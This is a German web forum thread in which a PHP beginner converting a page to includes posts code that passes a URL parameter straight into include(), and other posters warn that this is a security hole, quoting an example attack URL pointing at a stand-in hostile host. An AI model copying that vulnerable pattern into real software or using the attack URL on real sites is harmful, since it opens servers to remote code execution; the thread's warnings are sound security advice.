Daniel: Links mit php und include

Hallo!

Ich (PHP Anfänger) habe ein kleines Problem. Versuche gerade eine kleine Seite von html in
PHP umzuschreiben. Ich poste euch einfach mal den Quelltext rein:

<html>
<head>
</head>
<body bgcolor="#FFFFFF">

<table align="center" border="0" style="border-collapse:collapse;">
<tr>
 <td valign="top" bgcolor="#000000" style="width:130px">
 <?
 include("header.php")
 ?>
 </td>
 <td valign="top" bgcolor="#000000" style="width:200px">
 <?
 include("start.php")
 ?>
 </td>
</tr>
</table>

Es werden also die 2 php Dateien header.php und start.php in die Seite per include eingefügt.
Die Header php ist ein Menü. Jetzt hab ich das problem wenn ich dieses Menü verlinke und den
link dann neu aufrufe läd er mir die Seite komplett neu und zeigt nur die header.php an
(find ich logisch denn es fehlt ja sowas wie ein target befehl)
Wie krieg ich das gelöst?

Gruß Daniel

  1. Hallo Daniel,

    Ich befuerchte, Du denkst immer noch in Frames.
    Vergiss das Frames-Denken!

    Includes, wie man sie im einfachsten Fall verwendet,
    sind nur "HTML-Bausteine".

    Z.B. der HTML-Code fuer ein Navigations-Menue
    (bei Dir z.B. header.php):

    <ul>
      <li><a href="index.html">Home</a></li>
      <li><a href="seite1.html">Seite 1</a></li>
      <li><a href="seite2.html">Seite 2</a></li>
      <li><a href="kontakt.html">Kontakt</a></li>
    </ul>

    Dieser Code allein ist kein vollstaendiges HTML-Dokument.
    Also ist es auch nicht sinnvoll, einen Link darauf zu setzen.
    <a href="header.php">Menue</a> waere sehr schlecht.

    Achte darauf, dass Du immer nur Links auf vollstaendige
    Seiten machst und nur vollstaendige HTML-Seiten auslieferst,
    welche genau einmal <!DOCTYPE ...>, <head> und <body> enthalten.

    Vielleicht hilft Dir ja mein Artikel zum Thema "Includes" weiter:
    http://www.tiptom.ch/homepage/includes.html

    Uebrigens: Wenn die eingebundenen Dateien ihrerseits
    keinen PHP-Code enthalten, sondern nur statischen
    HTML-Code, dann kannst Du sie genausogut auch einfach
    mit readfile() einbinden.
    Statt
    include("header.php");
    also einfach
    readfile("header.php");
    Das ist sinnvoller und auch etwas schneller.

    Gruesse,

    Thomas

    P.S. Bitte lass all die veralteten Attribute aus
    dem HTML-Quellcode weg und mach alles, was Layout
    betrifft, nur noch mit CSS, insbesondere Farben.
    Und wenn schon solltest Du _alle_ Farben im
    <body>-Element angeben, nicht nur die Hintergrundfarbe.
    http://www.w3.org/2003/07/30-color

    1. Guck mal hier:

      html>
      <head>
      </head>
      <body bgcolor="#FFFFFF">

      <table align="center" border="0" style="border-collapse:collapse;">
      <tr>
       <td valign="top" bgcolor="#000000" style="width:130px">
       <?
       include("header.php")
       ?>
       </td>
       <td valign="top" bgcolor="#000000" style="width:200px">
       <?
       if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
       include($url)
       ?>
       </td>
      </tr>
      </table>
      </body>
      </html>

      Das funktioniert genau so wie ich das gerne hätte. Das mit den Farbangaben werd ich noch korrigieren. Danke für die Tips!

      1. Hallo Daniel,

        if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
         include($url)

        nein, mach das bitte _nicht_ so - du fängst dir damit ein Sicherheitsloch ein (das Thema hatten wir vor kurzem erst - siehe </archiv/2004/2/71856/#m413802>ff und </archiv/2004/2/71896/>)

        Grüße aus Nürnberg
        Tobias

        --
        Selfcode: sh:( fo:) ch:? rl:( br:< n4:& ie:% mo:| va:) de:] zu:) fl:( ss:| ls:[ js:|
      2. Hallo Daniel,

        if ($_GET["url"]=="") {$url="start.php";} else {$url=$_GET["url"];}
        include($url)

        Du willst also per URL-Parameter einen Ort angeben,
        von wo Dein Script Quellcode abholen und auch
        ausfuehren soll.
        Das ist virtueller Selbstmord, wie Tobias schon schrieb.

        Dann koennte Die naemlich jedermann mit
        deinscript.php?url=http://boese.example.com/boeses_script.txt
        extrem gefaehrlichen Quellcode unterjubeln,
        und dieser wuerde auf Deinem Server von PHP
        ausgefuehrt.

        1. Lies die dclp-FAQ, insbesondere:
        Wie unterscheide ich böse Variablen von guten?
        http://www.dclp-faq.de/q/q-security-variablen.html
        Binde nur Quellcode ein, der auf Deinem eigenen Server ist.

        2. Verwende readfile() statt include(), wie ich schon schrieb.

        Gruesse,

        Thomas
          der sich immer wieder fragt, was die Leute an URLs wie
           ...index.php?url=start.php, ...index.php?url=kontakt.php
           so toll finden und wo sie dieses seltsame "Konzept"
           abgeschrieben haben.